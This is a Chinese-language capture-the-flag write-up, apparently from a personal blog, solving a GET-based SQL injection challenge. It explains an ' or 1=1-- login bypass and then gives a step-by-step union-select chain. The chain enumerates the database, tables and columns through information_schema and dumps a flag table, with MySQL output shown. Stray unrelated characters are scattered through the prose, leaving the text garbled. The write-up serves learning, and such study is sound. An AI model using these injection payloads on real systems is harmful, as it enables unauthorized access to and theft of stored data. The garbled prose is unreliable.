這道題是一道get注入題
語句的使用
假如我們有一個users表俄周,里面有兩個字段username和password峦朗。在我們的java代碼中我們初學者都習慣用sql拼接的方式進行用戶驗證波势。比如:"select id from users where username = '"+username +"' and password = '" + password +"'" 這里的username和password都是我們存取從web表單獲得的數據。下面我們來看一下一種簡單的注入凛忿,如果我們在表單中username的輸入框中輸入' or 1=1-- 蕉汪,password的表單中隨便輸入一些東西者疤,假如這里輸入123.此時我們所要執(zhí)行的sql語句就變成了select id from users where username = '' or 1=1-- and password = '123',我們來看一下這個sql糯累,因為1=1是true,后面 and password = '123'被注釋掉了胖秒。
本段轉自sql注入原理阎肝。
查詢知道當前數據庫是mysql,其中中有select database();語句沛硅,可以查詢當前數據庫名稱鸟整。
Union是聯合查找篮条。
通過我自己的mysql實驗得出
mysql> select * from info union select 1,2,3,4,5,6,7,1,2,4,database()
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | database() |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | student |
+---+---+---+---+---+---+---+---+---+---+---+------------+
需要輸入正確的列數才能獲取結果赴恨。
由此構造1 ' union select 1,2,3,database()#
提交伦连,得出庫名pentesterlab额港,這里#是注釋掉后面的語句移斩。
接下來爆表名向瓷,select from where
是一個語句,可以用來查詢表中某一列的值舰涌,結果可以是返回多行猖任,用我自己的mysql試驗之后發(fā)現是沒有問題是。
在mysql中有一個information_schema瓷耙,是mysql自帶的數據庫超升,庫內有一個TABLE表,表中存放了如下兩個關鍵的數據
第一個是數據庫的庫名室琢,第二個是表名。但這個庫和我們所在的庫不是同一個庫落追,關于mysql的跨庫查詢是可以直接用點路徑
select * from info union select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
再次拿自己的mysql進行實驗盈滴,發(fā)現使用這句語句時可以訪問到查詢的數據庫內擁有的表。(庫內搞了太多字段了寫的蛋疼轿钠。巢钓。。)
mysql> select 1,2,3,4,5,6,7,1,2,3,4,table_name from information_schema.tables where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | TABLE_NAME |
+---+---+---+---+---+---+---+---+---+---+---+------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | info |
+---+---+---+---+---+---+---+---+---+---+---+------------+
所以構造語句
1 ' union select 1,2,3,table_name from information_schema.tables where table_schema='pentesterlab'#
ctf比賽中的目的是獲取flag疗垛,而這里有一個flag表症汹,所以接下來的行動就是爆表了。贷腕。
同樣是information_schema庫背镇,庫內有COLUMNS這個表:主要的結構如下
以我的數據庫為例,hhhm是我的mysql中的其中一個庫名泽裳,blog_article_title是我的庫內的一個表瞒斩。查看navicat可以知道我的表內有這些,與上面的相對應涮总。最后一個column_name就是我們要爆的表的字段名胸囱。
所以依舊構造語句
mysql> select 1,2,3,4,5,6,7,1,2,3,4,column_name from information_schema.columns where table_schema='student';
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | COLUMN_NAME |
+---+---+---+---+---+---+---+---+---+---+---+-------------+
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學號 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 姓名 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 性別 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 生日 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學籍 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 學院 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 專業(yè) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 班級 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 校區(qū) |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 畢業(yè)高中 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 所在地 |
| 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1 | 2 | 3 | 4 | 手機號 |
+---+---+---+---+---+---+---+---+---+---+---+-------------
先試自己,發(fā)現確實如此瀑梗!
1' union select 1,2,3,column_name from information_schema.columns where table_name='flag'#
該flag的表內有id和flag兩個字段烹笔,有四行裳扯。最后就很容易了:
1' union select 1,2,3,flag from flag#
得出答案
關于information_schema的得知
參考自點擊查看。
歡迎訪問我的博客www.redmango.top